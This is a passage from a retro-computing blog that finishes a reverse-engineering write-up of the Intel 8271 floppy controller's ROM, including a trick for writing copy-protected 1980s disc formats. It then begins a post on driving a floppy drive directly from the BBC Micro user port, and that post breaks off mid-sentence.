disassembled, SCAN handling, uses at least opcodes $9A, $9B and $8C. (We've ignored SCAN because it needs DMA wired up, which is not the case in the BBC Micro application.) Furthermore, the PLAs suggest that other opcode ranges <i>not</i> seen in the 8271 ROM might do something. This includes $A8-$AF and $B0-$B7. Feel free to go and have a look!</div><div><br /></div><h3 style="text-align: left;">Interface to the bit processor</h3><div><br /></div><div>Now that we've got the byte processor understood and disassembled, it's time to turn our attention to interface to the bit processor and its behavior. After all, it's the bit processor that is wired to the disc drive control and data lines!</div><div><br /></div><div>Our initial assumption was that the byte processor CPU would, like the MCS-48, have some form of port I/O instructions. This turned out to be false. The reality is simpler: it uses MMIO (Memory Mapped Input/Output). This means that access to certain register indexes change registers in the bit processor instead of the byte processor. It's quite simple: 0-31 references the byte processor registers. And the range 32-39 references bit processor registers. For simplicity of decoding, the bit processor's 8 register references are mirrored 4 times across the range 32-63. The entire 0-63 range is then mirrored 4 times in the entire addressable range of 0-255.</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ZRr-5gxwrWfQBpEbaKpvJ_4CDZhyYowsSjHiUTwGQC1lDO8NlH8bLgZinrtEgpz4_D__EgVoixcZ32ehUYIfHC4S7WvSaO79sit-dZfvWBfYNcPRZdwIR4jkS6Ck5jUtMnFRgaf6gWhh/s547/8271init.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="410" data-original-width="547" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj9ZRr-5gxwrWfQBpEbaKpvJ_4CDZhyYowsSjHiUTwGQC1lDO8NlH8bLgZinrtEgpz4_D__EgVoixcZ32ehUYIfHC4S7WvSaO79sit-dZfvWBfYNcPRZdwIR4jkS6Ck5jUtMnFRgaf6gWhh/w400-h300/8271init.jpg" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Registers 0-63, read on a real BBC Micro, illustrating mirroring of the bit processor registers</td></tr></tbody></table><div><br /></div><div>Furthermore, the context of bit processor references in the byte processor code makes it clear that the bit processor interface is very simple. It is so simple we didn't feel the need to reverse engineer the bit processor further. The bit processor register assignments are as follows:</div><div><ul style="text-align: left;"><li>0: control register, 4 bits</li><ul><li>Bit 0 (0x01) => gather CRC (?)</li><li>Bit 1 (0x02) => finish CRC (?)</li><li>Bit 2 (0x04) => 1 for read, 0 for write</li><li>Bit 3 (0x08) => idle state</li></ul><li>1: status register, indicates sync data byte type, CRC error, etc.</li><li>2: drive input, read for drive status</li><li>3: drive output, controls step / write / etc. lines</li><li>4: clocks output byte</li><li>5: data output byte</li><li>6: data input byte</li><li>7: unused? (returns 0xFF, and byte processor ROM relies on this!)</li></ul><div>The astute reader might ask: does this mean the bit processor can be programmed directly with the WRITE SPECIAL REGISTER command, since the bit processor registers are MMIO? And the answer is yes! There are severe caveats however:</div></div><div><ul style="text-align: left;"><li>The generic command entry code corrupts bit processor state on entry.</li><li>The generic command exit code resets the bit processor and associated callbacks on exit (but strangely and usefully not for WRITE SPECIAL REGISTER).</li><li><b>The latency of WRITE SPECIAL REGISTER is terrible</b>.</li></ul></div><div><br /></div><div>That last bullet, the poor latency, is unfortunate. It's about 211us, which means there's zero chance for tricks like writing data to the disc a clocks + data byte at a time. The latency is large because the byte processor executes a large number of instructions on the command entry path, doing things like checking and caching drive status, as well as reading parameters one at a time, checking if the selected drive changed, etc.</div><div><br /></div><div>Writing the drive output register directly is useful, though. I did this for my trick to write "weak bits" directly using the 8271! See my blog post about weak bits for more details. [<a href="https://scarybeastsecurity.blogspot.com/2020/06/weak-bits-floppy-disc-protection.html" target="_blank">link</a>]</div><div><br /></div><h3 style="text-align: left;">Writing the unwritable</h3><div><br /></div><div>Now that we know how this monster works, it is of course time to turn our attention to mischief. Can we make the chip do things it is "not supposed" to be able to do? Of course we can, and as usual, it involves disobeying the datasheet:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvoV6zeGyXPRaJ0v7aItmYyks5BF-K3wn_8RSb78IjoHw26n9Tyl9a54dYS960IRWmTPjpQVvlr4oeTaQzznUrXvl17GaUZChTpBaFEJLC8Yej0hTFQzc9epRFBPsWXltzA12MKfwx_1bw/s490/datasheet_illegal.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="325" data-original-width="490" height="424" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhvoV6zeGyXPRaJ0v7aItmYyks5BF-K3wn_8RSb78IjoHw26n9Tyl9a54dYS960IRWmTPjpQVvlr4oeTaQzznUrXvl17GaUZChTpBaFEJLC8Yej0hTFQzc9epRFBPsWXltzA12MKfwx_1bw/w640-h424/datasheet_illegal.png" width="640" /></a></div><div><br /></div><div>We are specifically going to disobey the sentence that states "Issuing a command while another command is in progress is illegal." We are now equipped to see exactly what happens if we do this, by reading and reasoning about the code. The callback called when the external command register is written gets on with its job without regard for whether a command is in progress, so side effects will be:</div><div><ul style="text-align: left;"><li>The internal command register itself is corrupted, i.e. mismatched with the currently executing command. It is referenced from time to time so this may be useful to us.</li><li>The illegal command will change internal register values, which may impact the execution of the current command.</li><li>The illegal command may change or disable callbacks, or reset or reconfigure the bit processor.</li></ul></div><div>Taking these things into consideration, we are going to <b>try and write an arbitrary FM bit stream</b>. Achieving this will enable us to recreate copy protected disc surfaces that are not supposed to be writeable with the 8271. Remember, kids:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitewLBNjy4AYm8DH2A0IPsvwhT1d7k3WYeQJhhkxKaS3VyiJmS7wnEexlFcZFvpsdKRsRkKbNCdSlui7FJnkDWx5ongCZGq4Us4zCtQmluvDIngKDnXYf69joy_XQ-U-p_PuFUlcdzcKqv/s364/Dontcopythatfloppy.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="274" data-original-width="364" height="301" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEitewLBNjy4AYm8DH2A0IPsvwhT1d7k3WYeQJhhkxKaS3VyiJmS7wnEexlFcZFvpsdKRsRkKbNCdSlui7FJnkDWx5ongCZGq4Us4zCtQmluvDIngKDnXYf69joy_XQ-U-p_PuFUlcdzcKqv/w400-h301/Dontcopythatfloppy.jpg" width="400" /></a></div><div><br /></div><div>We're going to attempt this by separating out how we write the data bytes and how we write the special sector mark clock bytes. Writing a full track of data bytes is easy, but useless on its own. We can do this by:</div><div><ul style="text-align: left;"><li>Formatting a track with a single sector header.</li><li>Issue a WRITE DATA command for that sector, of size 8192 bytes. A track is only 3125 bytes (with a perfectly calibrated drive), so:</li><ul><li>At the first wrap around, start writing the track of bytes we want.</li><li>3125 or so bytes later, at the second wrap around, abort the command by resetting the controller.</li></ul></ul><div>This track of data bytes alone will be useless. If you try to read a sector from it, you will get error $18, aka. "sector not found". The special clock byte markers required to identify sector headers and sector data will be missing.</div><div><br /></div><div>The way FM encoding works is very simple: it alternates clock bit, data bit, clock bit, data bit, ... every 4us. Normally all the clock bits are 1, to maintain timing and keep the drive electronics happy. But for a sector header or data marker, a few clock bits are left out so that the floppy disc controller can locate things in a bitstream where it is not sure where it is.</div></div><div><br /></div><div>So, while the WRITE DATA command is running, we're going to sneak in some parallel SPECIFY commands to "corrupt" registers for the running WRITE DATA command, without disturbing it. Specifically, we're only going to corrupt the clocks byte register (MMIO R36) at the precise times necessary to write clocks byte values other than 0xFF. The overall operation looks like this:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5RDbRIE4WNPZcoeKgFzbbRICeqF7s_NTZ9F-BIfShb_Mr1iY7djz9EMBf3BSmY8QVSbdDEhhiN8MkbElHErWXW8rB77JqhTYGxXDc5ZScRnBC4hpnnIP4mDCs7Nmm6D1mBW8QGhMdAxHP/s960/Reverse+engineering+the+Intel+8271+%25281%2529.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="540" data-original-width="960" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj5RDbRIE4WNPZcoeKgFzbbRICeqF7s_NTZ9F-BIfShb_Mr1iY7djz9EMBf3BSmY8QVSbdDEhhiN8MkbElHErWXW8rB77JqhTYGxXDc5ZScRnBC4hpnnIP4mDCs7Nmm6D1mBW8QGhMdAxHP/w640-h360/Reverse+engineering+the+Intel+8271+%25281%2529.png" width="640" /></a></div><br /><div>By some miracle, this scheme does work, and it easily replicates discs that no BBC Micro copier back in the day could come close to. One example of a tough disc, for some reason, is The Sentinel [<a href="http://bbcmicro.co.uk/game.php?id=609" target="_blank">link</a>]. The disc has a pretty label and packaging so of course, time for a gratuitous image:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLOVF8igG2-KhgOygb8rdJfCF1S2y4QbWYf3hPP1YV5_kdF78eSgnZdES9Ac2ccwkBbKh_Gb7650Iutn38qTMTr71nnE5aoF3zNSXUSaQY0BuOCawdOcPrMM4qke9unKkbZySTc_t6I9i8/s800/sentinel_disc.jpeg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="600" data-original-width="800" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjLOVF8igG2-KhgOygb8rdJfCF1S2y4QbWYf3hPP1YV5_kdF78eSgnZdES9Ac2ccwkBbKh_Gb7650Iutn38qTMTr71nnE5aoF3zNSXUSaQY0BuOCawdOcPrMM4qke9unKkbZySTc_t6I9i8/w400-h300/sentinel_disc.jpeg" width="400" /></a></div><div><br /></div><div>There are plenty of quirks and caveats to get this working. To briefly note them for completeness:</div><div><ul style="text-align: left;"><li>The SPECIFY command was used instead of WRITE SPECIAL REGISTER to help with latency concerns. The SPECIFY command can be "primed" by passing the command and the first parameter, such that the second parameter (first register value to write) executes the write and executes with low latency at just the right moment.</li><li>The WRITE SPECIAL REGISTER command exits without resetting the bit processor or clearing all the I/O callbacks. Unfortunately, the same cannot be said for SPECIFY. Fortunately, we don't have to exit the SPECIFY command! It starts having the useful side effect of writing internal registers before it is complete. And then you can later restart it again and again, never completing it.</li><li>The act of command dispatch corrupts the MMIO clocks byte register! This is very unexpected but it uses MMIO R36 as a temporary storage location while it is calculating which disc drive (0 or 1) is selected, and whether it changed. It is worth looking at:</li></ul><div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.parameters_complete_launch_command</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">03D FC 5D<span style="white-space: pre;"> </span>CALL $05D<span style="white-space: pre;"> </span>; .read_drive_status</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">03F BC 00<span style="white-space: pre;"> </span>TASK 4, 0<span style="white-space: pre;"> </span>; select .wakeup_PARAM_0_no_action</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; (3,9,(0,2,8,A)) => $030</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">041 03<span style="white-space: pre;"> </span>SEL RB 3</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">042 2F<span style="white-space: pre;"> </span>MOV A, IF<span style="white-space: pre;"> </span>; R31 ($1F) (ext CMD)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">043 CF 3C<span style="white-space: pre;"> </span>AND I7, #$3C<span style="white-space: pre;"> </span>; R31 ($1F) (select bits + param </span><span style="color: #2b00fe; font-family: courier; font-size: small;">count masked out)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">045 9C C0<span style="white-space: pre;"> </span>AND A, #$C0<span style="white-space: pre;"> </span>; A now contains drive select bits</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">047 04<span style="white-space: pre;"> </span>SEL RB 4</span></div><div><span style="color: #b45f06; font-family: courier; font-size: x-small;">048 34<span style="white-space: pre;"> </span>MOV I4, A<span style="white-space: pre;"> </span>; MMIO R36 ($24) (???) (temp storage?)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">049 E3<span style="white-space: pre;"> </span>XOR A, I3<span style="white-space: pre;"> </span>; MMIO R35 ($23) (drive out)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">04A 9C C0<span style="white-space: pre;"> </span>AND A, #$C0</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">04C 8A 53<span style="white-space: pre;"> </span>BZ $053<span> </span><span style="white-space: pre;"> </span>; only update drive out if select bits changed</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span><span style="white-space: pre;"> </span>; .command_dispatch</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">04E 98 20<span style="white-space: pre;"> </span>MOV A, #$20<span style="white-space: pre;"> </span>; bit for side select (drive 0 vs. 2)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">050 C3<span style="white-space: pre;"> </span>AND A, I3<span style="white-space: pre;"> </span>; MMIO R35 ($23) (drive out)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">051 D4<span style="white-space: pre;"> </span>OR A, I4<span style="white-space: pre;"> </span>; MMIO R36 ($24) merge back select bits?</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">052 33<span style="white-space: pre;"> </span>MOV I3, A<span style="white-space: pre;"> </span>; MMIO R35 ($23) (drive out)</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; only drive select bits and side select kept</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; clears write enable, head load, and others</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;"><span style="white-space: pre;"> </span>; matches data sheet</span></div></div></div><div><br /></div></div></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div style="text-align: left;"><div style="text-align: left;">The line in orange is the one in question. I annotated it as iffy with ??? when I first disassembled it as it looked wacky. But, it's correct and a real machine exhibits the corrupted clocks precisely as described by the code. The corrupt clocks value, $40 if writing to drive 0, is shown in orange in the above diagram. Once you know it's there, and why, the easiest way to navigate around it is to arrange for the clocks corruption to land where it doesn't case problems. When paired with a $FF data byte, it doesn't create weak bits on the disc surface, and the controller actually seems to skip over it on read.</div></div></blockquote><div><div style="text-align: left;"><div><ul style="text-align: left;"><li>The write I/O path, by some stroke of good fortune, resets the clocks byte to $FF on every write I/O callback. This saves us a lot of trouble:</li></ul><div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">.wakeup_BITPROC_WRITE_3_set_clocks_and_count_host_bytes</span></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">318 F4 FF<span style="white-space: pre;"> </span>MOV I4, #$FF<span style="white-space: pre;"> </span>; MMIO R36 ($24), standard clocks</span></div></div><div><span style="color: #2b00fe; font-family: courier; font-size: x-small;">[...]</span></div><ul style="text-align: left;"><li>Careful timing is needed. There's a pipeline of bytes from the external data register to the internal bit processor data byte register to the actual output pulse machinery. This needs to be accounted for.</li></ul><div>Combined, these quirks convince me that I'd have never gotten this going, or gotten close, without a thoroughly reverse engineered and disassembled ROM.</div></div><div><br /></div><h3 style="text-align: left;">Other successes and failures</h3><div><br /></div><div>Other things enabled or demonstrated based on careful reading of the ROM code:</div><div><ul style="text-align: left;"><li>beebjit now has a much more accurate 8271 driver.</li><li>Unexplained weirdness trying to read a sector with logical track id $FF has been explained as an integer overflow in the bad tracks handling.</li><li>Sectors on a non-zero physical track, but with a zero logical track id, were believed "impossible" to read. I'm able to read them by using the "command within command" trick. Once a READ DATA command is safely underway, including having processed the seek request and gone idle, it's possible to use WRITE SPECIAL REGISTER to change R7 (command param 1, which is the requested track) to zero, and have the sector read fine. The issue is that references to logical track 0 in the seek code are always treated as a mandate to find physical track 0. You need to bypass that.</li></ul><div>Things not achieved:</div></div><div><ul style="text-align: left;"><li>Reading or writing MFM (double density) -- looks fundamentally impossible. Does not appear to be a capability in the hard-wired bit processor.</li><li>Executing arbitrary code on the chip. This is a shame, as the byte processor is a capable CPU! Who knows what we could use a little co-processor for? Things making this hard include:</li><ul><li>Separation of code and data in separate address spaces.</li><li>No references to the stack possible outside of CALL and RET.</li><li>Indirect jump targets stored in a read-only PLA. (Microsoft CFG? :)</li><li>... and yes, curiously, these accidental defenses all sound similar to defensive technologies investigated or deployed since year 2000. So, the 1970s called and...</li></ul></ul><div><br /></div></div><h3 style="text-align: left;">Summary</h3><div><p>The 8271 has exceeded our expectations! Where to start? It's a massive chip, encompassing dual cores and a Javascript like execution model. Remember, this was the mid-1970s. Its general purpose CPU runs an Intel instruction set architecture that I don't believe has been publicly documented until now. It's not every day we get the treat of a new Intel ISA.</p><p>We never got to the bottom of the crazy test mode that started this whole investigation. There's no trace of it in the byte processor ROM, so it must be handled by some other component on the silicon. Something to investigate for another day perhaps.</p><p>Having seen the complexity of the chip, I must confess to a feeling of surprise every time my BBC Micro successfully loads a disc.</p></div><h3 style="text-align: left;">Epilogue</h3></div><p>Given the 8271 issues with cost, heat, supply chain, complexity, and lack of MFM, it wouldn't be surprising if Intel had had enough with the architecture behind the 8271 and 8273. Intel staggered bravely forward with the 8272, which introduced MFM support and... hang on, let's have a look at a decapitated one of those...</p><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8sNJPf4iSqf7lC1S-65W02rXbY-liEUapKDf8eaMINfrhXx98LGqvNJTuTOaKwXvHWZhx76PrhcJLqAmoC02UXQ6hTTXU87vEcsnEy6gZ5nhgqaqi5QYQTWIrJu9_cv_ZHFLTfXjyNUdR/s1622/8271_nec_8272.jpg" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="537" data-original-width="1622" height="212" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi8sNJPf4iSqf7lC1S-65W02rXbY-liEUapKDf8eaMINfrhXx98LGqvNJTuTOaKwXvHWZhx76PrhcJLqAmoC02UXQ6hTTXU87vEcsnEy6gZ5nhgqaqi5QYQTWIrJu9_cv_ZHFLTfXjyNUdR/w640-h212/8271_nec_8272.jpg" width="640" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Left to right: Intel 8271, NEC D765, Intel 8272</td></tr></tbody></table><p>This is very cheeky! The 8272 die may say "8272 (c) Intel 1979" but it is the same die as a NEC D765, stamped "NEC D765B". It looks like Intel may have licensed the NEC design. The NEC doesn't appear much smaller in terms of die size, but the layout looks much simpler and less busy. Bizarrely, Intel appears to have fabbed the 8272 much larger than the NEC. </p><h3 style="text-align: left;">Extra references</h3><p></p><ul style="text-align: left;"><li><a href="http://stardot.org.uk/" target="_blank">StarDot</a> forum thread where the investigation unfolded: [<a href="https://stardot.org.uk/forums/viewtopic.php?f=3&t=19762" target="_blank">link</a>]</li><li>Sean Riddle's decap page: [<a href="https://seanriddle.com/decap.html" target="_blank">link</a>]</li><li>beebjit's 8271 driver: [<a href="https://github.com/scarybeasts/beebjit/blob/master/intel_fdc.c" target="_blank">link</a>]</li><li>8271 tests and tools (warning: rough) for the BBC Micro: [<a href="https://github.com/scarybeasts/misc/tree/master/8271" target="_blank">link</a>]</li><li>Live document for 8271 disassembly: [<a href="https://docs.google.com/document/d/1bQTvncIcgRfO0zOvBB16x37WfTh71c4U5WWCyQ4lFVM/edit#" target="_blank">link</a>]</li><li>Very high resolution die shots of the 8271 and 8273 (beware, will hang browsers!): [<a href="http://www.seanriddle.com/8271/" target="_blank">link</a>]</li></ul><p></p></div>Chris Evanshttp://www.blogger.com/profile/01004765479735675808noreply@blogger.com10tag:blogger.com,1999:blog-3024470480937744884.post-54256921177894351122020-07-10T12:26:00.001-07:002020-07-10T13:43:21.539-07:00Turning a £400 BBC Micro (1981) into a $40,000 disc writer (1987)<font size="5">Introduction</font><div><br /></div><div>One of the most iconic floppy disc protection stories is <a href="https://en.wikipedia.org/wiki/Dungeon_Master_(video_game)">Dungeon Master</a>. Released in December 1987, Dungeon Master combined an advanced physical disc format (fuzzy bits) with sneaky protection checks embedded into the gameplay itself.</div><div><br /></div><div>I <a href="http://dmweb.free.fr/?q=node/1429" target="_blank">strongly recommend this article</a> which gives an excellent overview of floppy discs before launching into a very thorough overview of the fuzzy bits protection on the Atari ST Dungeon Master disc. There is also <a href="http://dmweb.free.fr/?q=node/210" target="_blank">this excellent article</a> which goes more into the stories surrounding the Dungeon Master protection. It includes a quote from one of the Dungeon Master authors:</div><div><br /></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div style="text-align: left;"><i>"We had the advantage of owning the patent on a floppy-disk copy protection scheme that required a $40,000 specialized hardware device to write the disks. It was impossible to create a disk image without this hardware, and the hardware itself was out of production."</i></div></blockquote><div><div><br /></div><div>The reason for the hefty price tag is likely the timing precision required to create fuzzy bits reliably. The required precision is measured in nanoseconds at a time when much of the world was still chugging along in microseconds.</div><div><br /></div><div>The BBC Micro had a 2MHz 6502 CPU and its simplest instructions took 2 cycles, which is 1 microsecond. Is there any hope of writing fuzzy bits with such a constraint? We will see how far we can get. This work is called project Oiled Otter.</div><div><br /></div><div>To get us in the mood, and close out the introduction, here's a picture of a 3.5" floppy disc duplicator machine. I'm amused by how much it looks like a photocopier, except the hopper takes discs instead of paper! It looks like <a href="https://www.awp1.com/trace-diskette.html" target="_blank">Advanced World Products might even still sell you one</a>.</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYpmserqIT2k9Ii_pLJsxByCLhIaDhTNuETCVmhiIScdTkanHFLbLU_XXWmn9NB-IY8_fgLQXefRE5biWFQPn_62AlcqKWteR7E6YAHwQCd264HLD1ycMgK-AQoWdBSPH245XzUo6zZlqz/s1600/tracer_duplicator.jpg" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="1200" data-original-width="1600" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjYpmserqIT2k9Ii_pLJsxByCLhIaDhTNuETCVmhiIScdTkanHFLbLU_XXWmn9NB-IY8_fgLQXefRE5biWFQPn_62AlcqKWteR7E6YAHwQCd264HLD1ycMgK-AQoWdBSPH245XzUo6zZlqz/s320/tracer_duplicator.jpg" width="320" /></a></div><div><br /></div><div><br /></div><div><font size="5">The BBC Micro user port</font></div><div><br /></div><div>The <a href="https://en.wikipedia.org/wiki/BBC_Micro" target="_blank">BBC Micro</a> was known for excellent expandability, including the so-called user port. This port is driven by a <a href="https://en.wikipedia.org/wiki/MOS_Technology_6522">6522 Versatile Interface Adapter</a> running at 1MHz. The port itself offers 8 data pins and 2 control pins. There's a lot of control offered over these pins. The data pins can individually be configured as inputs or outputs and the output logic levels can be set as high or low as needed.</div><div><br /></div><div>Why are we looking at the user port? Well, we're going to attempt to drive a disc drive directly from the user port. By removing the floppy disc controller from the equation, we hope to get it out of the way and achieve more direct control of the disc drive and the data streams to and from it.</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrke0eTP8GEAw5Wsj3cisnEWXB93QXyGLGkyXZiG4x07dhFp8GPYAofzVOorND0UCMPz6qPuL_aWkq03AGFTScWx9i2hmE8I_XKi_XzudhqJxPOSIvfwFEDsjb9ZIpVcuBjcRubTfy20np/s1024/otter_cable.png" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="768" data-original-width="1024" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgrke0eTP8GEAw5Wsj3cisnEWXB93QXyGLGkyXZiG4x07dhFp8GPYAofzVOorND0UCMPz6qPuL_aWkq03AGFTScWx9i2hmE8I_XKi_XzudhqJxPOSIvfwFEDsjb9ZIpVcuBjcRubTfy20np/w400-h300/otter_cable.png" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Cable from the user port to the disc drive</td></tr></tbody></table><div><br /></div><div>The above image is my lovely cable connecting the user port to a disc drive. The connectors are standard and the wires between them are just jumper wires. In a genuine attempt to create something that could have been done simply "back in day", I'm not allowing any extra electronics.</div><div><br /></div><div>The cable wiring is as follows:</div><div><br /></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0913fbcuJ-8zmRFPbXasubSrBj0S9Az814tugYHCahkCN7YOpUpah1lvyugf9jwaBQAEJkBZM8HamYoVvdLvO08UvwwIFHzCsBT8o9SHmXJEfGRa0yenfYc9XBw6zJjV7Hn-DxN7vSu2e/s960/Connecting+a+disc+drive+to+the+BBC+Micro+user+port.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="540" data-original-width="960" height="360" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0913fbcuJ-8zmRFPbXasubSrBj0S9Az814tugYHCahkCN7YOpUpah1lvyugf9jwaBQAEJkBZM8HamYoVvdLvO08UvwwIFHzCsBT8o9SHmXJEfGRa0yenfYc9XBw6zJjV7Hn-DxN7vSu2e/w640-h360/Connecting+a+disc+drive+to+the+BBC+Micro+user+port.png" width="640" /></a></div><div><br /></div><div>The main take away I'd encourage from this wiring setup is that the disc drive interface is probably simpler than you thought. We can drive the disc drive and query its important state with just 8 pins. It's very simple. Say you want to spin up the drive, you set the logic level to low on PB0 and PB1. Say you want to wait for the disc to rotate to the start of the track, you query the logic level on PB6 until you see a high->low transition. Stepping is just setting a logic level for "step in" vs. "step out" and then pulsing low the "step" pin.</div><div><br /></div><div>So far so good. We have basic control of the drive but have yet to write anything.</div><div><br /></div><div><font size="5">Electrical headaches</font></div><div><br /></div><div>A brief digression into electrical headaches is warranted, because I hit some. Wiring together random pairs of components might sometimes work and sometimes it may need finessing. Here's a scope view of voltages initially seen on the W/DATA pin, at the drive:</div><div><br /></div><table align="center" cellpadding="0" cellspacing="0" class="tr-caption-container" style="margin-left: auto; margin-right: auto;"><tbody><tr><td style="text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiytwS84SbISvvNF_69dPUbQotxKQmN3miwyYGpk5VfjEvX7pCH-JptWTPJpavlZkKj8mcw4kUtmtmX2benqaGYUyEe2lYAdonOMTjWFAjWf0jYGrj58g9dIv8yFBKFoiEiM4DQTZIgvf7l/s3648/IMG_8742.JPG" style="margin-left: auto; margin-right: auto;"><img border="0" data-original-height="2736" data-original-width="3648" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiytwS84SbISvvNF_69dPUbQotxKQmN3miwyYGpk5VfjEvX7pCH-JptWTPJpavlZkKj8mcw4kUtmtmX2benqaGYUyEe2lYAdonOMTjWFAjWf0jYGrj58g9dIv8yFBKFoiEiM4DQTZIgvf7l/w400-h300/IMG_8742.JPG" width="400" /></a></td></tr><tr><td class="tr-caption" style="text-align: center;">Trying to write pulses to the drive at the FM rate of 250kHz</td></tr></tbody></table><div><br /></div><div>The logic 1 voltage is about 3.4v and the logic 0 voltage is about 1.5v. This is a significant problem! Acceptable <a href="https://en.wikipedia.org/wiki/Transistor%E2%80%93transistor_logic" target="_blank">TTL</a> voltage levels are well defined:</div><div><br /></div></div><blockquote style="border: none; margin: 0px 0px 0px 40px; padding: 0px;"><div><div style="text-align: left;"><i>"A TTL input signal is defined as 'low' when between 0 V and 0.8 V with respect to the ground terminal, and 'high' when between 2 V and VCC (5 V), and if a voltage signal ranging between 0.8 V and 2.0 V is sent into the input of a TTL gate, there is no certain response from the gate and therefore it is considered 'uncertain'"</i></div></div></blockquote><div><br /></div><div>A logic 0 voltage of 1.5v is considered "uncertain" and won't do at all. Indeed, the drive I'm using didn't write anything with the above signal.</div><div><br /></div><div>The problem was resolved by removing the <a href="http://www.retrotechnology.com/herbs_stuff/drive.html#term" target="_blank">floppy cable termination resistor</a> from the drive. Here's a picture of my drive and the socketed termination resistor array is ringed in red:</div><div><br /></div><div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy_YIYs6mbhAWHrbHDRnscdPgAfNWy71zBAMtG3nlLe-E2GqlYKY-inwznGs6jgKI7G8buT5mf10DiRlaLGJ3EFnTH1Qx4Tw5pjlGf4WOoRwDXJTXtaE0fy6xbK9DXSk-7ZnBSVgQvh90e/s1024/drive.png" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="768" data-original-width="1024" height="300" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjy_YIYs6mbhAWHrbHDRnscdPgAfNWy71zBAMtG3nlLe-E2GqlYKY-inwznGs6jgKI7G8buT5mf10DiRlaLGJ3EFnTH1Qx4Tw5pjlGf4WOoRwDXJTXtaE0fy6xbK9DXSk-7ZnBSVgQvh90e/w400-h300/drive.png" width="400" /></a></div><div><br /></div><div>This resolves the voltage levels perfectly and everything then works. It appears than many of the BBC Micro's ports other than the disc port don't have the oomph to drive a terminated cable. But hang on -- presumably the resistor was there for a reason in the first place? Yes. Removing it has two caveats:</div><div><ul style="text-align: left;"><li>Watch your cable length. Longer cables are prone to signal degradation when they are unterminated.</li><li>Watch the voltage levels on unconnected wires. I was seeing a voltage level of 1.32v on the S/SEL (side select) pin at the drive. This is not ok as it is again in the TTL 